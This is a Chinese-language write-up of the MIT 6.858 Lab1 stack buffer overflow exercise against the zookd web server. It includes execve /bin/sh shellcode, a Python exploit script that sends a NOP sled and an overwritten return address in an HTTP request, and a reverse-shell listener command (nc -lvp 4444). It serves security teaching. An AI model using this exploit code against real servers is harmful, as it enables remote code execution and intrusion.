MIT 6.858 - lab1 - 栈缓冲区溢出漏洞利用
字数 1496 2025-08-06 21:48:56

MIT 6.858 Lab1 - 栈缓冲区溢出漏洞利用详解

实验概述

MIT 6.858是麻省理工学院著名的计算机安全课程,本实验(Lab1)聚焦于栈缓冲区溢出漏洞的利用。实验围绕一个名为"zoobar"的web应用程序展开,通过实际操作来理解缓冲区溢出的原理和利用方法。

实验环境准备

  1. 实验镜像:使用课程提供的虚拟机镜像(基于QEMU)
  2. 目标程序zookd web服务器及其相关组件
  3. 调试工具:GDB (GNU Debugger)
  4. 系统环境:32位x86架构,Linux系统

栈缓冲区溢出基础

栈内存布局

在32位x86架构中,函数调用时的栈布局如下(从高地址到低地址):

高地址
|----------------|
| 参数n          |
| ...            |
| 参数1          |
| 返回地址       | ← EIP寄存器指向这里
| 保存的EBP      | ← EBP寄存器指向这里
| 局部变量       |
| ...            |
低地址

关键概念

  1. 返回地址:函数执行完毕后应该返回的地址
  2. 保存的EBP:调用者的栈帧基址
  3. 缓冲区溢出:当向栈上的缓冲区写入超过其分配大小的数据时,会覆盖相邻内存区域

实验任务解析

任务1:使服务器崩溃

目标:通过缓冲区溢出使zookd服务器崩溃

步骤

  1. 分析http.c中的read_http_request函数
  2. 发现buf缓冲区大小为4096字节,但读取HTTP请求时没有正确检查长度
  3. 构造超过4096字节的HTTP请求

关键代码

char buf[4096];
char *p = buf;
while (!strstr(p, "\n\n") && !strstr(p, "\r\n\r\n")) {
    if (p >= buf + sizeof(buf))
        return -1;
    // ...
}

漏洞利用

  • 发送不包含\n\n\r\n\r\n的长请求(>4096字节)
  • 覆盖返回地址导致段错误

任务2:注入shellcode

目标:通过缓冲区溢出执行任意代码

步骤

  1. 确定偏移量

    • 使用GDB分析崩溃时的栈状态
    • 计算缓冲区起始地址到返回地址的偏移
  2. 构造payload

    [NOP sled][shellcode][填充][返回地址]
    
    • NOP sled:增加命中率(\x90)
    • Shellcode:执行/bin/sh的机器码
    • 返回地址:指向NOP sled或shellcode
  3. 绕过ASLR

    • 实验环境默认禁用ASLR
    • 可通过cat /proc/sys/kernel/randomize_va_space确认

示例shellcode

xor    %eax, %eax    ; clear eax
push   %eax          ; push null byte
push   $0x68732f2f   ; push "//sh"
push   $0x6e69622f   ; push "/bin"
mov    %esp, %ebx    ; ebx = "/bin//sh" addr
push   %eax          ; push null
push   %ebx          ; push "/bin//sh" addr
mov    %esp, %ecx    ; ecx = argv
xor    %edx, %edx    ; edx = envp = NULL
mov    $0x0b, %al    ; syscall number for execve
int    $0x80         ; invoke syscall

任务3:利用漏洞获取shell

完整攻击流程

  1. 确定zookd的栈地址范围

    • 通过/proc/[pid]/maps查看内存布局
    • 或使用GDB的info proc mappings
  2. 构造恶意HTTP请求:

    import socket
    
    # NOP sled + shellcode
    buf = "\x90" * 1024  # NOP sled
    buf += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
    
    # Padding to reach return address
    buf += "A" * (offset - len(buf))
    
    # Overwrite return address (little-endian)
    buf += "\xef\xbe\xad\xde"  # example address
    
    # Send the request
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("localhost", 8080))
    s.send("GET /" + buf + " HTTP/1.0\r\n\r\n")
    s.close()
    
  3. 获取反向shell:

    • 修改shellcode连接回攻击者机器
    • 使用nc -lvp 4444监听

防御机制与绕过

常见防御机制

  1. 栈保护(Stack Canary)

    • 在返回地址前插入随机值
    • 函数返回前检查该值是否被修改
    • 实验环境中默认禁用
  2. NX/DEP(数据执行保护)

    • 标记内存页为不可执行
    • 实验环境中栈默认可执行
  3. ASLR(地址空间布局随机化)

    • 随机化内存地址
    • 实验环境中默认禁用

现代环境下的利用技术

  1. ROP(Return-Oriented Programming)

    • 利用现有代码片段(gadgets)构造攻击
    • 绕过NX保护
  2. 堆喷射

    • 在堆上大量布置shellcode
    • 增加命中概率

实验总结与延伸

关键知识点

  1. 栈内存布局与函数调用约定
  2. 缓冲区溢出原理与利用方法
  3. Shellcode编写与注入技术
  4. 基本的二进制漏洞分析流程

防御建议

  1. 使用安全的字符串函数(strncpy代替strcpy)
  2. 启用所有安全机制(ASLR, NX, Stack Canary)
  3. 进行边界检查
  4. 使用现代安全语言(Rust, Go等)

扩展学习

  1. 堆溢出漏洞利用
  2. 格式化字符串漏洞
  3. 整数溢出漏洞
  4. 现代缓解机制的绕过技术

通过本实验,学生能够深入理解栈缓冲区溢出的原理和利用技术,为后续学习更复杂的安全漏洞打下坚实基础。

MIT 6.858 Lab1 - 栈缓冲区溢出漏洞利用详解 实验概述 MIT 6.858是麻省理工学院著名的计算机安全课程,本实验(Lab1)聚焦于栈缓冲区溢出漏洞的利用。实验围绕一个名为"zoobar"的web应用程序展开,通过实际操作来理解缓冲区溢出的原理和利用方法。 实验环境准备 实验镜像 :使用课程提供的虚拟机镜像(基于QEMU) 目标程序 : zookd web服务器及其相关组件 调试工具 :GDB (GNU Debugger) 系统环境 :32位x86架构,Linux系统 栈缓冲区溢出基础 栈内存布局 在32位x86架构中,函数调用时的栈布局如下(从高地址到低地址): 关键概念 返回地址 :函数执行完毕后应该返回的地址 保存的EBP :调用者的栈帧基址 缓冲区溢出 :当向栈上的缓冲区写入超过其分配大小的数据时,会覆盖相邻内存区域 实验任务解析 任务1:使服务器崩溃 目标 :通过缓冲区溢出使 zookd 服务器崩溃 步骤 : 分析 http.c 中的 read_http_request 函数 发现 buf 缓冲区大小为4096字节,但读取HTTP请求时没有正确检查长度 构造超过4096字节的HTTP请求 关键代码 : 漏洞利用 : 发送不包含 \n\n 或 \r\n\r\n 的长请求(>4096字节) 覆盖返回地址导致段错误 任务2:注入shellcode 目标 :通过缓冲区溢出执行任意代码 步骤 : 确定偏移量 : 使用GDB分析崩溃时的栈状态 计算缓冲区起始地址到返回地址的偏移 构造payload : NOP sled:增加命中率( \x90 ) Shellcode:执行 /bin/sh 的机器码 返回地址:指向NOP sled或shellcode 绕过ASLR : 实验环境默认禁用ASLR 可通过 cat /proc/sys/kernel/randomize_va_space 确认 示例shellcode : 任务3:利用漏洞获取shell 完整攻击流程 : 确定 zookd 的栈地址范围 通过 /proc/[pid]/maps 查看内存布局 或使用GDB的 info proc mappings 构造恶意HTTP请求: 获取反向shell: 修改shellcode连接回攻击者机器 使用 nc -lvp 4444 监听 防御机制与绕过 常见防御机制 栈保护(Stack Canary) : 在返回地址前插入随机值 函数返回前检查该值是否被修改 实验环境中默认禁用 NX/DEP(数据执行保护) : 标记内存页为不可执行 实验环境中栈默认可执行 ASLR(地址空间布局随机化) : 随机化内存地址 实验环境中默认禁用 现代环境下的利用技术 ROP(Return-Oriented Programming) : 利用现有代码片段(gadgets)构造攻击 绕过NX保护 堆喷射 : 在堆上大量布置shellcode 增加命中概率 实验总结与延伸 关键知识点 栈内存布局与函数调用约定 缓冲区溢出原理与利用方法 Shellcode编写与注入技术 基本的二进制漏洞分析流程 防御建议 使用安全的字符串函数( strncpy 代替 strcpy ) 启用所有安全机制(ASLR, NX, Stack Canary) 进行边界检查 使用现代安全语言(Rust, Go等) 扩展学习 堆溢出漏洞利用 格式化字符串漏洞 整数溢出漏洞 现代缓解机制的绕过技术 通过本实验,学生能够深入理解栈缓冲区溢出的原理和利用技术,为后续学习更复杂的安全漏洞打下坚实基础。